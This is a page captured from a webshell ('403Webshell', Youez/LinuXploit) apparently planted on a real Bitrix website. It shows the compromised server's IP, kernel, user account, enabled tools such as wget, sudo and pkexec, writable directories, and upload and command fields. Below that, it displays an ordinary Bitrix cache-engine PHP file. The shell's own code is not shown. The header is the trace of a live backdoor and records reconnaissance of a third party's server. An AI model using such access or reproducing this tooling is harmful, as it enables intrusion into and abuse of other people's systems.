403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/data/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/data/cacheenginefiles.php
<?php

namespace Bitrix\Main\Data;

use Bitrix\Main;
use Bitrix\Main\Application;
use Bitrix\Main\Config;
use Bitrix\Main\Data\Internal\CacheCleanPathTable;

class CacheEngineFiles implements CacheEngineInterface, CacheEngineStatInterface
{
	protected const LOCK_FILE = '/bitrix/cache/cacheCleanJob_lock.php';

	protected int $written = 0;
	protected int $read = 0;
	protected string $path = '';
	protected bool $useLock = false;
	protected string $rootDirectory;
	protected static array $lockHandles = [];
	protected static int $clusterGroup = 0;

	/**
	 * Engine constructor.
	 * @param array $options Cache options.
	 */
	public function __construct($options = [])
	{
		$config = Config\Configuration::getValue('cache');

		if (isset($config['use_lock']))
		{
			$this->useLock = (bool)$config['use_lock'];
		}
		if (isset($options['actual_data']) && !$this->useLock)
		{
			$this->useLock = !$options['actual_data'];
		}

		static::$clusterGroup = (defined('BX_CLUSTER_GROUP') ? (int)constant('BX_CLUSTER_GROUP') : 0);

		$this->rootDirectory = $config['root_directory'] ?? Main\Loader::getDocumentRoot();

		$key = $this->rootDirectory . self::LOCK_FILE;
		if (!file_exists($key))
		{
			if ($handle = fopen($key, "wb+"))
			{
				fwrite($handle, 'lock');
				fclose($handle);
			}
		}

		if ($this->lock($key))
		{
			Application::getInstance()->addBackgroundJob([$this, 'delayedDelete'], [], Application::JOB_PRIORITY_LOW);
		}
	}

	/**
	 * @inheritdoc
	 */
	public function getReadBytes()
	{
		return $this->read;
	}

	/**
	 * @inheritdoc
	 */
	public function getWrittenBytes()
	{
		return $this->written;
	}

	/**
	 * @inheritdoc
	 */
	public function getCachePath()
	{
		return $this->path;
	}

	/**
	 * @inheritdoc
	 */
	public function isAvailable()
	{
		return true;
	}

	/**
	 * Deletes physical file. Returns true on success.
	 * @param string $fileName Absolute physical path.
	 * @return void
	 */
	protected function unlink(string $fileName): void
	{
		$this->unlock($fileName);

		if (file_exists($fileName))
		{
			// Handle E_WARNING
			set_error_handler(function () {
				// noop
			});

			chmod($fileName, BX_FILE_PERMISSIONS);
			unlink($fileName);

			restore_error_handler();
		}
	}

	/**
	 * Generates very temporary file name by adding some random suffix to the file path.
	 * Returns empty string on failure.
	 * @param string $fileName File path within document root.
	 * @return string
	 */
	protected function randomizeFile(string $fileName): string
	{
		for ($i = 0; $i < 99; $i++)
		{
			$suffix = rand(0, 999999);
			if (!file_exists($this->rootDirectory . $fileName . $suffix))
			{
				return $fileName . $suffix;
			}
		}

		return '';
	}

	/**
	 * @inheritdoc
	 */
	public function clean($baseDir, $initDir = '', $filename = '')
	{
		if (($filename !== false) && ($filename !== ''))
		{
			$this->unlink($this->rootDirectory . $baseDir . $initDir . $filename);
		}
		else
		{
			$initDir = trim($initDir, '/');
			if ($initDir == '')
			{
				$sourceDir = $this->rootDirectory . '/' . trim($baseDir, '/');
				if (file_exists($sourceDir) && is_dir($sourceDir))
				{
					$dh = opendir($sourceDir);
					if (is_resource($dh))
					{
						while ($entry = readdir($dh))
						{
							if (preg_match("/^(\\.|\\.\\.|.*\\.~\\d+)\$/", $entry))
							{
								continue;
							}

							if (is_dir($sourceDir . '/' . $entry))
							{
								$this->clean($baseDir, $entry);
							}
							elseif (is_file($sourceDir . '/' . $entry))
							{
								$this->unlink($sourceDir . '/' . $entry);
							}
						}
					}
				}
			}
			else
			{
				$source = '/' . trim($baseDir, '/') . '/' . $initDir;
				$source = rtrim($source, '/');
				$delayedDelete = false;

				if (!preg_match("/^(\\.|\\.\\.|.*\\.~\\d+)\$/", $source) && file_exists($this->rootDirectory . $source))
				{
					if (is_file($this->rootDirectory . $source))
					{
						$this->unlink($this->rootDirectory . $source);
					}
					else
					{
						$target = $this->randomizeFile($source . '.~');
						if ($target != '')
						{
							CacheCleanPathTable::add([
								'PREFIX' => $target,
								'CLUSTER_GROUP' => static::$clusterGroup
							]);

							if (@rename($this->rootDirectory . $source, $this->rootDirectory . $target))
							{
								$delayedDelete = true;
							}
						}
					}
				}

				if ($delayedDelete)
				{
					Application::getInstance()->getManagedCache()->read(3600, 'needClean');
					Application::getInstance()->getManagedCache()->setImmediate('needClean', 'Y');
				}
				else
				{
					DeleteDirFilesEx($baseDir . $initDir, $this->rootDirectory);
				}
			}
		}
	}

	/**
	 * Tries to put non-blocking exclusive lock on the file.
	 * Returns true if file not exists, or lock was successfully got.
	 * @param string $fileName Absolute cache file path.
	 * @return boolean
	 */
	protected function lock(string $fileName): bool
	{
		$wouldBlock = 0;
		self::$lockHandles[$fileName] = @fopen($fileName, "r+");
		if (self::$lockHandles[$fileName])
		{
			flock(self::$lockHandles[$fileName], LOCK_EX | LOCK_NB, $wouldBlock);
		}
		return $wouldBlock !== 1;
	}

	/**
	 * Releases the lock obtained by lock method.
	 * @param string $fileName Absolute cache file path.
	 * @return void
	 */
	protected function unlock(string $fileName): void
	{
		if (!empty(self::$lockHandles[$fileName]))
		{
			fclose(self::$lockHandles[$fileName]);
			unset(self::$lockHandles[$fileName]);
		}
	}

	/**
	 * @inheritdoc
	 */
	public function read(&$vars, $baseDir, $initDir, $filename, $ttl)
	{
		$fn = $this->rootDirectory . '/' . ltrim($baseDir . $initDir, '/') . $filename;

		if (!file_exists($fn))
		{
			return false;
		}

		$ser_content = '';
		$dateexpire = 0;
		$datecreate = 0;
		$zeroDanger = false;

		$handle = null;
		if (is_array($vars))
		{
			$INCLUDE_FROM_CACHE = 'Y';

			if (!@include($fn))
			{
				return false;
			}
		}
		else
		{
			$handle = fopen($fn, 'rb');
			if (!$handle)
			{
				return false;
			}

			$datecreate = fread($handle, 2);
			if ($datecreate == 'BX')
			{
				$datecreate = fread($handle, 12);
				fread($handle, 12); // unused dateexpire
			}
			else
			{
				$datecreate .= fread($handle, 10);
			}
		}

		$this->read = @filesize($fn);
		$this->path = $fn;

		$res = true;
		if (intval($datecreate) < (time() - $ttl))
		{
			if ($this->useLock)
			{
				if ($this->lock($fn))
				{
					$res = false;
				}
			}
			else
			{
				$res = false;
			}
		}

		if ($res)
		{
			if (is_array($vars))
			{
				$vars = unserialize($ser_content);
			}
			else
			{
				$vars = fread($handle, $this->read);
			}
		}

		if ($handle)
		{
			fclose($handle);
		}

		return $res;
	}

	/**
	 * @inheritdoc
	 */
	public function write($vars, $baseDir, $initDir, $filename, $ttl)
	{
		static $search = ["\\", "'", "\0"];
		static $replace = ["\\\\", "\\'", "'.chr(0).'"];

		$ttl = (int) $ttl;
		$folder = $this->rootDirectory . '/' . ltrim($baseDir . $initDir, '/');
		$fn = $folder . $filename;
		$fnTmp = $folder . md5(mt_rand()) . '.tmp';

		if (!CheckDirPath($fn))
		{
			return;
		}

		if ($handle = fopen($fnTmp, "wb+"))
		{
			if (is_array($vars))
			{
				$contents = "<?";
				$contents .= "\nif(\$INCLUDE_FROM_CACHE!='Y')return false;";
				$contents .= "\n\$datecreate = '" . str_pad(time(), 12, "0", STR_PAD_LEFT) . "';";
				$contents .= "\n\$dateexpire = '" . str_pad(time() + intval($ttl), 12, "0", STR_PAD_LEFT) . "';";
				$contents .= "\n\$ser_content = '" . str_replace($search, $replace, serialize($vars)) . "';";
				$contents .= "\nreturn true;";
				$contents .= "\n?>";
			}
			else
			{
				$contents = "BX" . str_pad(time(), 12, "0", STR_PAD_LEFT) . str_pad(time() + $ttl, 12, "0", STR_PAD_LEFT);
				$contents .= $vars;
			}

			$this->written = fwrite($handle, $contents);
			$this->path = $fn;
			$len = strlen($contents);

			fclose($handle);
			$this->unlink($fn);

			if ($this->written === $len)
			{
				rename($fnTmp, $fn);
			}

			$this->unlink($fnTmp);

			if ($this->useLock)
			{
				$this->unlock($fn);
			}
		}
	}

	/**
	 * @inheritdoc
	 */
	public function isCacheExpired($path)
	{
		if (!file_exists($path))
		{
			return true;
		}

		$fileHandler = fopen($path, 'rb');
		if ($fileHandler)
		{
			$header = fread($fileHandler, 150);
			fclose($fileHandler);
		}
		else
		{
			return true;
		}

		if (
			preg_match("/dateexpire\\s*=\\s*'(\\d+)'/im", $header, $match)
			|| preg_match("/^BX\\d{12}(\\d{12})/", $header, $match)
			|| preg_match("/^(\\d{12})/", $header, $match)
		)
		{
			if ($match[1] == '' || doubleval($match[1]) < time())
			{
				return true;
			}
		}

		return false;
	}

	/**
	 * Deletes one cache directory. Works no longer than etime.
	 * @param integer $etime Timestamp when to stop working.
	 * @param array $path Record from b_cache_tag.
	 * @return void
	 */
	protected function deleteOneDir(int $etime = 0, array $path = []): void
	{
		if (empty($path))
		{
			return;
		}

		$deleteFromQueue = false;
		$root = $this->rootDirectory;
		$dirName = $root . $path['PREFIX'];

		if ($path['PREFIX'] != '' && file_exists($dirName))
		{
			if (is_file($dirName))
			{
				DeleteDirFilesEx($path['PREFIX'], $root);
				$deleteFromQueue = true;
			}
			elseif (($dir = scandir($dirName)) !== false)
			{
				$counter = count($dir);
				foreach ($dir as $file)
				{
					$counter--;
					if ($file != '.' && $file != '..')
					{
						DeleteDirFilesEx($path['PREFIX'] . '/' . $file, $root);
					}

					if (time() > $etime)
					{
						break;
					}
				}

				if ($counter == 0)
				{
					rmdir($dirName);
					$deleteFromQueue = true;
				}
			}
		}
		else
		{
			$deleteFromQueue = true;
		}

		if ($deleteFromQueue)
		{
			CacheCleanPathTable::delete($path['ID']);
		}
	}

	/**
	 * Agent function which deletes marked cache directories.
	 * @return void
	 */
	public function delayedDelete(): void
	{
		$delta = 10;
		$deleted = 0;
		$etime = time() + 5;

		$managedCache = Application::getInstance()->getManagedCache();
		$needClean = $managedCache->read(3600, 'needClean');

		if ($needClean != 'Y')
		{
			$this->unlock($this->rootDirectory . self::LOCK_FILE);
			return;
		}

		$count = (int)$managedCache->getImmediate(604800, 'delCount');
		if ($count < 1)
		{
			$count = 1;
		}

		$paths = CacheCleanPathTable::query()
			->setSelect(['ID', 'PREFIX'])
			->where('CLEAN_FROM', '<=', new \Bitrix\Main\Type\DateTime())
			->where('CLUSTER_GROUP', static::$clusterGroup)
			->setLimit($count + $delta)
			->exec();

		while($path = $paths->fetch())
		{
			$this->deleteOneDir($etime, $path);
			$deleted++;

			if (time() > $etime)
			{
				break;
			}
		}

		if ($deleted > $count)
		{
			$count = $deleted;
		}
		elseif ($deleted < $count && $count > 1)
		{
			$count--;
		}

		$managedCache->read(604800, 'delCount');
		if ($deleted > $count)
		{
			$managedCache->setImmediate('delCount', $deleted);
		}
		elseif ($deleted < $count && $count > 1)
		{
			$managedCache->setImmediate('delCount', $deleted);
		}

		if ($deleted == 0)
		{
			$managedCache->read(3600, 'needClean');
			$managedCache->setImmediate('needClean', $deleted);
		}

		$this->unlock($this->rootDirectory . self::LOCK_FILE);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit